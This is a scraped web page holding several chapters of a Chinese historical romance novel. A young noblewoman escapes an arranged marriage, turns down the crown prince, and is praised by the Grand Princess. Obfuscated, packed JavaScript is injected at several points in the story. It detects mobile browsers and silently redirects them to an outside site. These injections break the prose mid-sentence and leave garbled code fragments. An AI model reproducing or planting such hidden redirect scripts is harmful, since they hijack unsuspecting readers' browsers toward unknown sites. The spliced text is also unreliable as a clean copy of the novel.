回去的马车上,洛云舒心情愉悦。 这桩婚事,终于要退掉了。 然而这时候,洛云舒的视线无意中扫过车窗,却看到上面有一滴血。 洛云舒收敛脸上的笑意,拿帕子按了一下。 血迹浸染,沾在了帕子上。 是新鲜的血迹。 之后,洛云舒在马车上铺着的毛毡上面发现了第二滴。 马车上唯一可以藏人的,是她此刻所坐的位置下面。 这下面是一个暗格,凸出来的地方不高,刚好可以让她坐在上面。 但因为有暗格,实则里面的空间很大,是可以藏人的,只是从外面看不出来。 洛云舒视线下移,有些紧张。 这马车里,怕不是进了什么亡命徒吧? 正在这时,马车猛然停下。 是被人拦下了。 外面很快传来灵雀的声音:“大小姐,是巡城司的人,说是要盘查逃犯。” 巡城司? 那是三皇子的势力范围。 洛云舒有了主意,立刻擦掉车窗上的血迹,毛毡上面的血迹无法擦除,她直接踩了上去。 “洛大小姐,在下是巡城司副统领马超,奉命追查逃犯,还请洛大小姐行个方便。” “可以。”说着,洛云舒已经戴好了帷帽,端端坐着。 马车的帘子很快被人挑开。 一队穿着巡城司兵服的人出现在洛云舒的视线里,为首的一个人应该就是马超。 他嘴上说着“得罪了”,眼神却很凌厉,把马车看了个遍。 之后,马超的视线落在洛云舒坐着的箱子上。 “里面是什么?” 洛云舒看着他,神色坦然:“女子外出做客,为了以防不测,要随身携带一套衣物。我方才去安国公府做客,便带了这些。” 既是衣物,就不方便给外男查看。 而且,洛云舒还提到了安国公府。 巡城司是三皇子的势力范围,而安国公府,则是三皇子的舅舅家。 这其中的关窍,眼前这位想得通。不然,也坐不到现在这个位置上。 果然,马超很快躬身行礼:“原来是未来的少国公夫人,失礼了。” 洛云舒并不多做解释:“您客气了。” 片刻后,马超直起身子,吩咐人把车帘放下,给洛云舒放行。 洛云舒轻轻呼出一口气。 会和三皇子做对的,应当不是什么坏人。 洛云舒打算不动声色 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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从洛云舒口中得知安国公夫人让他写退婚书之后,洛守礼气得直接摔了手里的杯子! 啪! 杯子在洛云舒的身侧炸响,顷刻间四分五裂! 洛守礼的指责,劈头盖脸地砸下:“你办事一向稳妥,这次怎么会出这么大的纰漏?自从让你殉节开始,你就很不对劲儿!” 洛云舒坦然望过去,正视洛守礼:“父亲,殉节之事事关生死,您要女儿如何镇定?” “你一向稳重,这一次也不该自乱阵脚。” “父亲怕是忘了,女儿今年也才十六岁,寻常事女儿能应付,可遇上生死大事,女儿实在是应付不来。父亲或许不知,女儿这几日夜夜惊醒,几乎无法入眠。” 说着说着,洛云舒落了泪。 洛守礼冷眼旁观,没什么表情。 半晌之后,他才问道:“此事就没有转圜的余地了?” “安国公夫人许诺,待父亲写完退婚书,她会认我为义女,日后也会办认亲的宴会。” 这话,并不能让洛守礼彻底消气。 一个义女的分量,终究还是太轻了。 若是洛云舒能嫁进安国公府,日后,洛云舒就是安国公府的当家主母,是当之无愧的国公夫人。 他洛府若是能出一个国公夫人,不仅仅是他,连带着他的子女也会跟着受益。 这才是真正的跨越阶级,再不会有人议论他的出身。 可现在,这步路算是彻底堵**。 一时间,洛守礼有些泄气:“早知道,还不如依着你母亲的意思,让你去灵佛寺祈福。在大是大非面前,脸面什么的,是可以放一放的。只可惜,现在说什么都晚了。” 洛守礼到底是有些意难平。 见他如此,洛云舒打算转移他的怒气。 于是,她再次躬身施礼,毕恭毕敬道:“父亲,女儿查到了一件事。” “什么事?”洛守礼兴致缺缺。 “关于传言的事。” 洛守礼顿时来了兴致:“你查到什么了?” 他原本以为,不过是市井传言而已,未必会传到安国公府去。 没成想,这传言竟然还传进了安国公夫人的耳朵里,还酿成了今日这样的苦果。 如此一来,他就不能不认真对待了。 “父亲,我查到散播我福薄,乃至克夫的人,是孙玉瑶。” “怎么会?”洛守礼惊讶。 毕竟,孙玉瑶一向表现得很是温顺,像只小兔子似的,连大声说话都不敢。 洛云舒没有多言,直接报出几个地点和人名:“父亲若是不信,只管去查。” 洛守礼立刻让周管事去查。 同时,他没让洛云舒离开。 周管事办事得力,又有洛云舒给出的人证,很快就把这件事情查了个水落石出。 听完周管事的禀报,洛守礼气得把面前的桌案都推倒了。 上面的笔、砚台、文书滚了一地,一片狼藉。 “让孙玉瑶来!” 孙玉瑶很快赶到,同行的,还有孙氏。 一进来,孙氏就开始抱怨:“老爷,出什么事了?为何大张旗鼓地把玉瑶叫过来?” 洛守礼强压怒气:“周安,将你查到的事情仔细说与夫人听。” “是,老爷。” 等周安说完,孙氏嘀咕道:“老爷,这件事怕不是有什么误会吧?” “这件事周安已经查的清清楚楚,人证俱在,不存在任何误会。” 孙氏瞥了洛云舒一眼:“老爷是不是被谁蒙蔽了?” 啪! 洛守礼重重地拍了一下桌子:“我已经说的很清楚,这件事已经水落石出,不曾冤枉谁。” 吼完孙氏,洛守礼看向孙玉瑶,面目凶狠:“孙玉瑶,你为何要恩将仇报?” 孙玉瑶还没说话,孙氏倒是先急了,她一把把孙玉瑶拉到自己身后,愤怒道:“老爷,玉瑶是我亲侄女,你怎可如此对她?” 孙玉瑶哭得抽抽搭搭的:“姑父,我没想这样的。我这样做,只是因为云舒姐姐不肯依着姑姑的心思去灵佛寺祈福,我想着用传言来让云舒姐姐就范,没想这么多。” “蠢货!”洛守礼怒斥,“对付自己人,何至于用上这样的手段?现在好了,这门婚事黄了。你孙玉瑶哪儿来的回哪儿去,回去跟着你那木匠父亲,学做桌子椅子去吧!” “老爷,你瞧瞧你还有半分长辈的样子吗?”孙氏恼了,“我哥哥是木匠不假,可你也别忘了,当 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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那么下一步,也该尽早进行。 一天后,洛云舒得到了安老大入京的消息。 第20章 这些年,你一定过得很辛苦吧 安老大给洛云舒传了信,邀她相见。 隔日,洛云舒出府之后换上男装,在安老大落脚的客栈与他碰面。 安老大仍是那标志性的络腮胡子,瞧着很是粗犷。 他为人向来大气,不拘小节。 “陆老弟,这次是怎么了?居然这么急着跟我见面。” 在外,洛云舒女扮男装,化名陆云。 她跟安老大熟悉,合作过很多次,彼此都赚了不少银子。 因此,洛云舒也没来虚的,直接道:“我有位故友的妹妹被夫家退婚,她那父亲又是个利益熏心的,以后不知会给她许个什么人家。故友对我有救命之恩,所以我便想着请安大哥出面找个人,许下重金,暂时娶了我这故友的妹妹。待远离京城后再和离,助她脱离这虎口。” 安老大笑了笑:“陆老弟,这件事你自己就能办,怎么还找我帮忙?” “安大哥,实不相瞒,我这故友的父亲是个做官的。这要娶官家女子,须得是豪强巨富才能让她那父亲动心。更何况,此事事关婚嫁,事成之后,得这人同意和离才好。不然,我才真是好心办了坏事。” 安老大恍然大悟:“原来如此。是豪强巨富,还要人品可靠,这个人选,我可得好好琢磨琢磨。” “不急的。安大哥只管慢慢琢磨。” 安老大手里有商队,这些年四处跑,积攒了不少人脉。 这件事,也只有他能办。 此事事成之后,她会完全从洛家脱离出来。 按照规定,未嫁女不可以立女户,但和离或丧偶且无子的女子可以。 只是古往今来,和离的女子少之又少,这条规定几乎是形同虚设。 可现在,却成了洛云舒的救命稻草。 若这件事办成了,于她而言,才是真正的山河远阔,人间自由。 她手里有人脉,有资源,也有钱财,无论到了哪里,都会过得很好。 见完安老大,洛云舒心情雀跃,找个地方换回女装,就带着灵雀和知意汇合,打算买点东西。 她先是买了些首饰,又给灵雀和知意挑了几件成衣,之后就带着二人去茶楼喝茶。 只是,洛云舒刚落座,门就被人从外面推开。 看装扮,不是店小二。 灵雀和知意很警惕,立刻挡在洛云舒前面。 待洛云舒看清来人,挥手让二人退下:“无妨,是认识的人。” 是裴行渊。 他在洛云舒对面坐下,放了一张银票在桌子上,推到她面前:“这是你搭救寒七的酬谢。” 洛云舒并未看那银票,只微微一笑:“殿下,您已经给了我最好的酬谢。” 这次她能顺利退婚,和霍少远重伤脱不了干系。 若非如此,安国公夫人也不会过分在意那克夫的传言,生出退婚的心思。 所以在这件事上,洛云舒对裴行渊只有感激。 感激他重伤了霍少远。 裴行渊大概是猜出洛云舒话中所指,轻声一笑:“恕我直言,你这一招并不高明,分明是伤敌八百,自损一千。经此一事,你日后嫁不到什么好人家。” 克夫对于女子而言,是很严重的罪名,能堵死女子婚嫁的路。 权贵之家,更注重这个。 所以,以后洛云舒只能下嫁。 “我无意婚嫁。所以这一招对我而言,是事半功倍。”洛云舒笑容澄澈,她是真的满意。 当然,她也有不满意的地方:“殿下既然有机会动手,何不直接杀了他?” 裴行渊微微一怔,笑了:“他活着,比**更有价值。不过,你只是去了安国公府一趟,如何能笃定霍少远已醒?” “当时我去安国公府的时候,安国公夫人妆容精致,且眉眼之中没有疲态。她是很在意霍少远的,如果当时霍少远没有醒来,她或许会为了维持体面认真装扮,但完全做不到眉眼之中没有疲态。且当日和我说正事之前,她还寒暄了几句。她有这份闲心,足以说明霍少远已经苏醒,且伤势大好。” 听完洛云舒的分析,裴行渊眼底划过一抹惊叹。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15429493|169168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “你很敏锐。”他如实评价,又突然感慨,“这些年,你一定过得很辛苦吧?” 唯有过得辛苦的人,才会有这般敏锐的心思。 若是过得和顺美满,多半是个没心没肺的人。 洛云舒眼睛一热,点了点头:“是。” 孙氏无远见,弟弟妹妹又不听教训,她要管理府上大大小小的事情,又要分心去管理铺子,很辛苦。 可这份辛苦,家里人无一提起。 却被这个只有两面之缘的太子看了出来。 想必,太子也过得辛苦,与她感同身受。 但这话,洛云舒没说。 “你可愿嫁给孤?” 裴行渊的提议很突兀。 听到之后,洛云舒嘴巴微张,满目惊讶。 她极少会这般失态。 她很快反应过来:“太子殿下莫不是在说笑?” “没有,孤是认真的。你有克夫之名,孤恰好需要这样一位妻子。” 洛云舒不解:“太子殿下若想成婚,什么样的女子找不着?” 先皇后虽然故去,但太子依旧是太子,他素有贤名,为人又温和,所以京中有不少女子想要嫁他。 只是不知为何,裴行渊如今都不曾婚配。 “女子易得,但合适的没有。孤觉得,你就很合适。” “就因为我有克夫之名?” “不止。你冷静睿智,孤身边需要这样一个同伴。再者,孤这些年的名声太好了。” 听完,洛云舒差点儿维持不住表面的镇定。 这话什么意思? 合着是说他自己名声太好,所以要找她这个名声不好的来中和一下? 理儿是这个理儿,但是这话听起来,怎么就这么别扭呢? “太完美的人惹人忌惮,若孤是一个沉迷美色的人,就很合适,会让一些人放松警惕。” “太子殿下的设想很完美。但是……”说着,洛云舒脸上的笑意倏然一收,“请殿下恕罪,这件事,我不愿意。” 第21章 太子温润如玉? 对于洛云舒而言,嫁给裴行渊做太子妃,不过是从一个漩涡跳进另一个漩涡罢了。 非她所愿。 她再也不想身不由己。 裴行渊并不纠缠,脸上的笑容依旧温和:“你不用急着给孤答复,孤不着急。” 洛云舒笑笑,只以为裴行渊是在给他自己找台阶下。 毕竟,他是太子,被人当面拒绝会很没面子。 这时候,裴行渊拿出一个黑色的令牌,递给洛云舒:“你透漏给寒七的消息很有用,这算是孤的回报。你若遇到解决不了的事,可以持此令牌,入东宫见孤。” 洛云舒并未推辞,直接接过。 裴行渊笑笑,起身告辞。 确认他走之后,灵雀才敢惊呼出口:“天呐,这便是素有贤名的太子殿下!原先我还以为传言有误,想着都做太子了怎么可能是温润如玉的美男子?今日一见,果然如此!” 洛云舒笑笑,不置可否。 太子温润如玉? 假象罢了。 真正温润如玉的人,不会在太子的位置上安安稳稳地坐这么多年。 所谓温润,只是他的假象。 回府之后,洛云舒得知今日有不少媒婆登门。 她自嘲一笑:“他们还真是等不及啊。” 只可惜,她不会让他们如愿。 府上的这些事情,洛云舒一概不管,只偶尔问几句自己的生意。 先前,孙氏觉得府里有了银子,总想摆阔,肆意挥霍银子。 洛守礼耐不住她唠叨,屡屡就范,以至于孙氏变本加厉,买了许多不必要的东西。 有一次,险些连下人的月钱都发不出来。 自那时起,洛云舒就开始隐瞒铺子的收益。 甚至于她新开了几个铺子,压根儿就没让孙氏和洛守礼知道。 原本只是想防着孙氏乱花钱,现在,倒成了她的体己银子。 如今家里放在明面上的铺子有三个,收益虽然可观,但远远比不上她手里这几个。 更何况,她和安老大还有商队上的合作,那也是一笔不小的进项。 眼下她有钱有闲,只想尽情享受生活。 她让人在院子里栽了花,又架了秋千,如今太阳还不算太晒,晨起和傍晚的时候在秋千上坐着看书,周围花香弥漫,很惬意。 傍晚,落日熔金,洛云舒照旧捧了一本书,坐在秋千里闲散地看着。 这时候,外面有重重的脚步声传来,继而是孙氏那响炸天的声音:“明辉这次小考,你是不是没帮他归纳考点?他考得极差,书院的夫子都找到家里来了!幸亏你父亲不在家,不然,明辉少不了一顿打!” 洛云舒连一个眼神都没给她,翻了一页书,轻飘飘道:“考试的人是他,又不是我,关我什么事?” “怎么不关你的事?以前都是你管教他的!” “母亲,你之前不是嫌我管他管得太严吗?现在我不管了,你还不满意。那我倒是想问母亲一句,到底要我怎么做,你才满意?” 孙氏气得直瞪眼:“他是你亲弟弟,来日他有了功名,你也能跟着受益!” 洛云舒笑笑。 她可不这么觉得。 当初逼她殉节的时候,洛明辉跳的欢得很。 从前她也觉得,弟弟好了,就是她以后的指望。 不管她嫁给谁,只要有娘家弟弟撑腰,就没人敢轻看她。 但,洛明辉都能眼睁睁看着她**,让他给她撑腰,那简直是痴人说梦! 只怕她被夫家打**,他都不会过问一个字。 这样的弟弟,管来何用? 看到洛云舒笑,孙氏愈发生气:“好,你不想管,那就不用你管。明辉是我的孩子,我自己就能管!” 说完,孙氏一扭身,出去了。 看着她的背影,洛云舒笑了。 她管? 她管孩子,就是只要读书,甭管孩子提出什么过分的要求都能答应。 当初要不是孙氏纵容,洛明辉又怎会才十三岁就染上赌瘾? 天知道她当初为了让洛明辉改掉这个恶**,付出了多大的心血。 如今用不着管这个熊孩子,洛云舒简直不知道有多轻松。 就连晚上睡觉都格外香甜。 这么养了几日,肌肤都通透了许多。细腻又有光泽。 时间一晃,离她和霍少远退婚已经过了十日。 终于,这一日,安国公府来人,说府中已经在筹备认亲宴,正式认洛云舒为义女。 这认亲宴就在明日,让洛云舒到时候 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15429494|169168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 早点过去。 洛云舒心里清楚,这认亲宴就是走个过场。 即便如此,她还是新置办了衣裳和首饰。 不管怎样,出现在外人面前的时候,她不容许自己灰头土脸。 丢自己脸面的事情,她不会做。 洛云舒正在试衣服,洛宝珠就闯了进来,满脸期待:“姐姐,我的衣服在哪里?” “什么衣服?”洛云舒皱眉。 洛宝珠双眼大睁,满脸写着不满:“你不会是只给自己置办了衣裳首饰吧?” “不然呢?这认亲宴是为我办的,又不是为你。”洛云舒反问。 “你、你竟想着去参加宴会,却不带我?”洛宝珠满脸写着震惊。 以往每一次,但凡是洛云舒参加宴会,一定会带着洛宝珠。 为了衬托洛宝珠,她故意打扮得平淡寻常不说,更是处处帮衬洛宝珠,以成全她才女之名。 实则,洛宝珠不少临时所做的诗都是出自洛云舒之手。 甚至,她还会在洛宝珠出丑的时候为她遮掩。 不然,以洛宝珠那股任性的蠢劲儿,只怕全京城都会知道她嚣张跋扈的名声。 这样的事,之前不知发生过多少次。 可当初逼她殉节时,洛宝珠口口声声,让她顾全家族名声。 呵。 往事种种,仍历历在目。 然而这一刻,看着洛宝珠满腹怨念的样子,洛云舒淡漠一笑:“是,不带你。” “洛云舒,你真是好大的胆子!你就是嫉妒我,嫉妒我也有才女之名,你怕我的风头盖过你,所以你不敢带我同去!” 拙劣的激将法。 洛云舒并不上当,还**诛心:“没有我,你有什么风头?” “好,你等着!”洛宝珠愤怒至极,转身跑了出去。 知意有点担心:“大小姐,只怕夫人又要来斥责您了。要不,您出去转转?” 洛云舒笑着摇头:“无妨。她要来只管来,来得越勤,只会气得越狠。” 的确,亲人的指责,会更加刺耳。 可是,她已经不会把这家人说的话放在心里了。 不在意,就不会再受伤。 洛云舒深谙此理。 果然,孙氏很快就找了来。 第22章 她孙玉瑶还有的哭呢 “云舒,你去参加宴会,居然还敢不带宝珠?” 孙氏人还没进来,斥责的话倒是先来了。 洛云舒一边往发髻上插一枚金簪,一边轻飘飘地说道:“对,不带。” “你疯了不成?如今宝珠已经十四岁,是该说亲的年龄了。你不时常带着她参加宴会,那些个世家夫人把她忘了可怎么办?” “明日安国公府是什么宴会?”洛云舒问。 孙氏皱了皱眉:“用不着你提醒我,我也知道是安国公夫人认你做义女的宴会。这个宴会你是主角,若是宝珠能跟在你身边,定能大放光彩。” 听完,洛宝珠的眼睛就亮了起来,一个劲儿地晃着孙氏的胳膊:“母亲,我要去!我要去!” 洛云舒淡淡一笑,把手里的簪子放在梳妆台上:“母亲也知道这是认我做义女的宴会,可母亲别忘了,拜孙玉瑶所赐,我身上现在还担着克夫的名声。你确定要让宝珠和我这个有克夫之名的人一起出现在宴会上?” “这……”孙氏犹豫了。 洛云舒又道:“母亲这阵子忙着为我相看,没找到什么好人家吧?” 不然,早该通知她该嫁给谁了。 孙氏面色一僵,埋怨道:“还不是因为你这克夫的名声?来提亲的不是官职低的就是穷的,没一个能入眼的。” 洛云舒垂眸不语。 她不会告诉孙氏,一大半的媒婆是她找来上门提亲的。 只有先让孙氏失望,后面的事情才会更好办一些。 “对啊。”洛云舒回应,“如今我的名声已经差成这个样子了,你让宝珠跟着我,不怕殃及池鱼?” 孙氏果然犹豫了。 洛宝珠也打了退堂鼓,把头摇的飞快:“我不去,我不去了。” 洛云舒笑笑,这个结果,她很满意。 第二天一早,洛云舒换上昨日买的桃粉色百蝶穿花裙,头上簪着一整套的粉宝石头面。 这样的装扮若是落在其他人身上,未免显得俗套,可洛云舒姿容清丽,气质脱俗,尤其是最近不用再为府中的事务操心,一张脸养得如凝脂般光滑,略施粉黛,便光彩照人。 梳妆已毕,灵雀连声赞叹:“大小姐,您原先的打扮都太素净了。就该这么打扮。” 洛云舒看着镜中的自己,很满意。 以往,为了衬托洛宝珠,她从不曾打扮得这般鲜亮过。 今日,倒是破例了。 出府的时候,洛宝珠远远看见她,人都看呆了。 洛云舒瞥了她一眼,直接踩着矮凳上了马车。 上来之后,洛云舒的脸色就冷了下来。 孙玉瑶坐在里面。 她立刻叫过灵雀:“这是我的马车,怎么还让旁人上来了?” 灵雀瞧见孙玉瑶,亦是一愣:“表小姐,你怎么在这里?” 孙玉瑶眼睛微红,拉住洛云舒的袖子:“云舒姐姐,我是偷偷溜上来的。求你了,让我随你一起去安国公府,我想见见少远哥哥。” 洛云舒收回自己的袖子,嫌弃地拍了拍:“来人,请表小姐下去。” 孙玉瑶不肯,依旧哀求:“云舒姐姐,我要是这么下去,府上的人会看不起我的。” “不关我事。” 说完,洛云舒坐到一旁,任由灵雀和知意把孙玉瑶拉了下去。 马车继续前行,身后传来孙玉瑶隐隐约约的哭声。 洛云舒勾唇冷笑。 现在就开始哭,未免哭得太早了。 这以后,她孙玉瑶还有的哭呢。 马车很快就到了安国公府门外。 洛云舒过来的时候,安国公府外已经停了不少的马车。 看到马车上面的标记,洛云舒约莫能猜出来的都有谁。 她刚从马车上下来,站在门口的窦嬷嬷就迎了上来:“洛大小姐,您可算是来了,夫人一大早就让老奴守在这里,专等着您呢。” 周围有不少人,洛云舒也跟着窦嬷嬷做戏:“劳烦嬷嬷了。” “洛大小姐,我家夫人在房里等着您呢。” “好。”洛云舒浅浅一笑,跟着窦嬷嬷走了进去。 果然,入了内院之后,窦嬷嬷的态度就冷了许多。 做戏而已。 洛云舒懂。 说白了,今日这宴会是打着认她做义女的名头办的不假,可安国公夫人是个不见兔子不撒鹰的人,单单为了认亲宴搞出这么大的阵仗是不可能的。 实际上,安国公夫人是想趁着这个机会,为霍少远相看一位正妻。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15429495|169168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >洛云舒明白,但是没有戳破。 和她预料的一样,进了安国公夫人的院子,并未见到安国公夫人,反倒是碰到了霍少远的妹妹,霍娇娇。 霍娇娇一向嚣张,见了洛云舒便出言讽刺:“打扮得这么鲜亮,给谁看呢?” “所谓装扮,不为取悦他人,只为悦己。” “洛云舒,你总是这样,一肚子歪理。别忘了,春日宴那日,你打了我,我还没跟你算账呢!” 洛云舒姿态从容,未见丝毫的慌乱:“当时那么多人,你口口声声说是你国公府逼迫我殉节,实在是不妥。情急之下,我为了阻止你,没有更好的办法。更何况,你现在也正在议亲,若是给人留下一个口无遮拦的印象,不好。” “照你这么说,我还得感谢你?” “那倒不必。你我无缘做姑嫂,日后,倒是可以做姐妹。” 霍娇娇嗤笑:“跟我做姐妹,你配吗?” “配与不配的,今日过去,我也是你义姐了。” “狗屁义姐!洛云舒,你不会是当真了吧?哈哈,你难道不知道……” “娇娇!” 霍娇娇的话还没说完,就被从里面走出来的安国公夫人厉声喝止。 她很快走到二人跟前,狠狠地瞪了霍娇娇一眼之后,随即看向洛云舒,神色和缓:“云舒,你别听娇娇瞎说。认你做义女,本夫人是心甘情愿的。” “夫人放心,我知道娇娇说的只是气话,不当真的。”洛云舒语气平静,神色温婉。 安国公夫人很满意,她拉过霍娇娇的手,放在洛云舒手里,还不忘叮嘱霍娇娇:“娇娇,以后云舒就是你义姐了,你不可对她无礼。” 霍娇娇想要反驳,被安国公夫人一瞪,立马就老实了:“是,母亲。” 很快,安国公夫人带着霍娇娇和洛云舒一起出现在众人面前。 今日来的夫人小姐很多,多半都是相熟的面孔。 现在宴会还没正式开始,各自都可以和相熟的人交谈。 洛云舒看到海云澜,想过去同她打声招呼,却看到安国公府的丫鬟急匆匆朝着这边走了过来。 见状,洛云舒蹙了蹙眉。 世家大族的丫鬟训练有素,不至于这般慌乱,莫非,是出了什么事? 第23章 我大齐贵女,合该有此气度! 该不会是霍少远**吧?洛云舒忍不住痴心妄想。 洛云舒留意到,安国公夫人也注意到了这个丫鬟,脸上有愠怒之色。 她是安国公府的主母,在她举办的宴会上,丫鬟有失礼之处,丢的是她这个主母的脸。 但是,等那丫鬟到了她身边,说了什么之后,安国公夫人的脸上就不再是愠怒,而是急切。 这急切之中,还带着一丝慌乱。 随后,她就和那丫鬟一起,迅速离开。 在场,也有其他人注意到了这一幕。 这时候,阮清辞走到洛云舒身边,语气轻快:“洛狐狸,猜猜看,这是出了什么事?” 洛云舒看她一眼:“阮大小姐,现在我这名声这么不好,你还敢往我身边凑?” “哦,忘了。那我现在走?” 嘴上说着要走,身子却不挪动半分。 洛云舒轻笑:“你是想等着看热闹吧?” 人人都说丞相之女阮清辞性子温婉,是个与世无争的主儿。 实则,这位姑奶奶的温婉都是装出来的,古灵精怪才是她的本色。 “是啊。安国公府这宴会,名义上是认亲宴,实则,是相看宴。前几天,安国公夫人就去拜会我母亲,说让我一定要来。她拿你做筏子,想要达成自己的私愿,我不信你会忍气吞声。” 洛云舒笑笑,故作高深:“那你就等着看。” 实则,她什么都没打算做。 在安老大给她找到合适的成亲对象之前,她打算低调一些。 哪怕是顶着克夫的名声也无所谓。 她不在乎。 若她想要扭转克夫的名声,很容易。 但是如此一来,那些原先就对她青睐不已的世家贵族就会借机来说亲,那非她所愿。 她想要自由身,完完全全的自由,想做什么只循着自己的心意,而不是不知什么时候,就被自己的父亲待价而沽,随便指给一个男人。 那种身不由己的感觉,她上一世做鬼的时候已经充分体验过。 此生,再不想有这样的感觉。 但这些,她无法解释给阮清辞听。 却在这时候,听到阮清辞惊讶道:“天呐,她老人家居然来了!” 洛云舒看过去,一时间也愣住了,甚至,有些不敢相信。 在场的人,无一不是这样的反应。 来的人,是大长公主。 大长公主是当今陛下的亲妹妹,早年间曾为女将,替陛下南征北战,稳固朝纲。 后来在陛下逐渐掌控朝堂之后,她急流勇退,嫁给了自己的青梅竹马,从此便深居简出,不再过问朝中事。 毫无疑问,大长公主是全大齐最尊贵的女子,只是,她不喜欢热闹,自己不办宴会,也从不去参加别人举办的宴会,只偶尔在宫宴上露个脸。 谁知,她今日竟然来了。 大长公主一来,就吸引了全场的目光。 无论是闺秀们还是各府的夫人们,一个个都谨言慎行,不敢有失礼之处。 相对之下,大长公主却很随意。 她瞧着这么多人,脸上微微带着笑:“本宫这次过来不过是一时兴起,你们该怎样还怎样,不要拘束。” 众人连声称是。 安国公夫人陪在一旁,笑得很是小心。 洛云舒猜,安国公夫人这是猜不透大长公主的用意,故而不敢造次。 却在这时候,听大长公主问安国公夫人:“你今日办这宴会,是个什么由头?” 安国公夫人立刻应道:“长公主殿下有所不知,先前犬子曾与户部侍郎洛家的嫡长女有婚约,奈何犬子突然受了重伤,往后还不知是个什么光景,臣妇不愿耽误了这姑娘,故而婚约取消。但,臣妇又怕这洛家的嫡长女因此遭人非议,这才想着认她为义女,今日,便是这认亲宴。” 安国公夫人的解释滴水不露,且将她本人抬得极高,完全不提传言那回事。 甚至,也没有让洛云舒上前见礼的意思。 没曾想,大长公主却问:“你这义女在何处,让本宫见见。” 安国公夫人面色一僵,继而就笑了,招手让洛云舒过去。 洛云舒近前,微施一礼:“臣女洛云舒,见过长公主殿下。” “免礼。” 这时候,安国公夫人热络地握住洛云舒的手,给大长公主介绍:“长公主殿下,这便是我那新认的义女,洛云舒。” 大长公主笑着,打量着洛云舒。 不知道为什么,洛云舒觉得她看得很仔细,似乎要把她给看穿。 洛云舒猜不出大长公主是什么意思。 她只在一次宫宴上远远地见过大长公主一面,私下里,从未有过交集。 只是,她觉得大长公主对她很感兴趣的样子。 “你这义女,认得不错。” “托长公主殿下的福,臣妇也觉得云舒性子稳妥,与 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15429496|169168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 臣妇很投缘。” 大长公主亦是一笑:“本宫听闻,民间有传闻,说你克夫。” 安国公夫人脸上的笑顿时僵住。 洛云舒低头,不卑不亢道:“回长公主殿下的话,是有这个传言。” “你竟然敢承认?” “臣女承不承认,这传言都已经存在。既然如此,好与坏,臣女都接受。” “说得好!”大长公主突然拍起手来,不同寻常女子的内敛,她朗声大笑,“我大齐贵女,合该有此气度!所谓克夫,原本就是虚妄之言。旁人说你克夫,本宫倒觉得是有些人福薄,无法与你共享气运。而你本身,贵不可言。” 洛云舒很意外。 她没想到,大长公主竟然如此抬举她。 只是,为什么呢? 这个时候,洛云舒想到了裴行渊。 普天之下,能请得动大长公主的人很少。 裴行渊应该算一个。 所以,是裴行渊请大长公主前来,想要为她正名? 大抵是这样。 这一瞬,洛云舒想了很多。 在大长公主话音落下后,她屈膝跪下,虔诚地给大长公主磕头:“臣女谢大长公主殿下!” 再抬头,她眼里有泪光闪烁。 既然大长公主有意抬举,那么,她就不能不识抬举。 该道的谢,那是一定要道的。 大长公主上前,亲自扶洛云舒起来:“好姑娘,你心性坚韧,能不为传言所扰,实在是难能可贵。日后若无事,常去本宫府上坐坐,可好?” 最后一句话,大长公主甚至不是在命令她,而是在询问她的意见。 洛云舒莞尔一笑:“臣女求之不得。” 大长公主亦是一笑:“那本宫就等着。” 说完,大长公主看向安国公夫人:“本宫来这一趟,给你添麻烦了。” “怎会?您能来,臣妇高兴都来不及。” “你能这样想,再好不过。不过,陛下还等着与本宫下棋,本宫先走一步。” 